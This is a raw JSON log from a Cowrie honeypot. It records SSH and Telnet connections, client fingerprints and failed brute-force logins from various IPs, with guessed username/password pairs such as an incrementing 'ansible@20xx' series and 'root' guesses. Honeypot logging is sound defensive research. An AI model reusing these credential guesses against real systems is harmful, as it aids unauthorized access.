{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:50.396902Z","src_ip":"159.203.92.129","session":"ba6971bad202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2018","message":"login attempt [ansible/ansible@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:50.406561Z","src_ip":"159.203.92.129","session":"ba6971bad202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.123.17.188","src_port":2522,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f3371e44ee","protocol":"telnet","message":"New connection: 112.123.17.188:2522 (159.203.135.109:23) [session: 49f3371e44ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:50.950852Z"}
{"eventid":"cowrie.session.closed","duration":0.00440216064453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:50.955142Z","src_ip":"112.123.17.188","session":"49f3371e44ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.123.185.40","src_port":53172,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c9ed498da0","protocol":"telnet","message":"New connection: 112.123.185.40:53172 (159.203.135.109:23) [session: 08c9ed498da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.012891Z"}
{"eventid":"cowrie.session.closed","duration":0.004447460174560547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.017222Z","src_ip":"112.123.185.40","session":"08c9ed498da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.123.17.188","src_port":2521,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2863cd238cd","protocol":"telnet","message":"New connection: 112.123.17.188:2521 (159.203.135.109:23) [session: a2863cd238cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.230851Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.123.185.40","src_port":53175,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ba2ffc176cb","protocol":"telnet","message":"New connection: 112.123.185.40:53175 (159.203.135.109:23) [session: 6ba2ffc176cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.276711Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.383024Z","src_ip":"37.143.61.130","session":"f5ed5d928c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.411776Z","src_ip":"159.203.92.129","session":"ba6971bad202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.414506196975708,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.645256Z","src_ip":"112.123.17.188","session":"a2863cd238cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.4170417785644531,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:51.693647Z","src_ip":"112.123.185.40","session":"6ba2ffc176cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:52.186871Z","src_ip":"37.143.61.130","session":"f5ed5d928c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":57070,"dst_ip":"10.17.0.5","dst_port":23,"session":"48af6b50d022","protocol":"telnet","message":"New connection: 139.162.207.207:57070 (10.17.0.5:23) [session: 48af6b50d022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:06.553140Z"}
{"eventid":"cowrie.session.closed","duration":39.85832953453064,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:28.790180Z","src_ip":"139.162.207.207","session":"ca2cd845883c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55524,"dst_ip":"159.203.135.109","dst_port":22,"session":"e58f6cd13965","protocol":"ssh","message":"New connection: 159.203.92.129:55524 (159.203.135.109:22) [session: e58f6cd13965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:36.061777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:36.068389Z","src_ip":"159.203.92.129","session":"e58f6cd13965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:36.074424Z","src_ip":"159.203.92.129","session":"e58f6cd13965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2019","message":"login attempt [ansible/ansible@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:36.087510Z","src_ip":"159.203.92.129","session":"e58f6cd13965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:37.094437Z","src_ip":"159.203.92.129","session":"e58f6cd13965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.648930311203,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:47.201937Z","src_ip":"139.162.207.207","session":"48af6b50d022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":33158,"dst_ip":"159.203.135.109","dst_port":23,"session":"db86663386e6","protocol":"telnet","message":"New connection: 45.181.100.135:33158 (159.203.135.109:23) [session: db86663386e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:55.157816Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":33346,"dst_ip":"159.203.135.109","dst_port":23,"session":"0188059ead01","protocol":"telnet","message":"New connection: 45.181.100.135:33346 (159.203.135.109:23) [session: 0188059ead01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:07:57.327612Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38314,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ef088c4f4d","protocol":"ssh","message":"New connection: 159.203.92.129:38314 (159.203.135.109:22) [session: b6ef088c4f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:21.584275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:21.589100Z","src_ip":"159.203.92.129","session":"b6ef088c4f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:21.596737Z","src_ip":"159.203.92.129","session":"b6ef088c4f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2020","message":"login attempt [ansible/ansible@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:21.611557Z","src_ip":"159.203.92.129","session":"b6ef088c4f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:22.645768Z","src_ip":"159.203.92.129","session":"b6ef088c4f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":39306,"dst_ip":"10.17.0.5","dst_port":22,"session":"f173b773c797","protocol":"ssh","message":"New connection: 80.94.92.182:39306 (10.17.0.5:22) [session: f173b773c797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:48.096516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:48.101033Z","src_ip":"80.94.92.182","session":"f173b773c797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:48.207799Z","src_ip":"80.94.92.182","session":"f173b773c797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:48.599300Z","src_ip":"80.94.92.182","session":"f173b773c797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:49.728524Z","src_ip":"80.94.92.182","session":"f173b773c797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":60698,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5c2b3d58e80","protocol":"ssh","message":"New connection: 37.143.61.130:60698 (159.203.135.109:22) [session: e5c2b3d58e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:59.890292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:08:59.900369Z","src_ip":"37.143.61.130","session":"e5c2b3d58e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:00.001028Z","src_ip":"37.143.61.130","session":"e5c2b3d58e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newtest","password":"password","message":"login attempt [newtest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:00.514050Z","src_ip":"37.143.61.130","session":"e5c2b3d58e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:01.799351Z","src_ip":"37.143.61.130","session":"e5c2b3d58e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54920,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aba140963f8","protocol":"ssh","message":"New connection: 159.203.92.129:54920 (159.203.135.109:22) [session: 4aba140963f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:04.797929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:04.822935Z","src_ip":"159.203.92.129","session":"4aba140963f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:04.827346Z","src_ip":"159.203.92.129","session":"4aba140963f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2021","message":"login attempt [ansible/ansible@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:04.930494Z","src_ip":"159.203.92.129","session":"4aba140963f8","protocol":"ssh"}
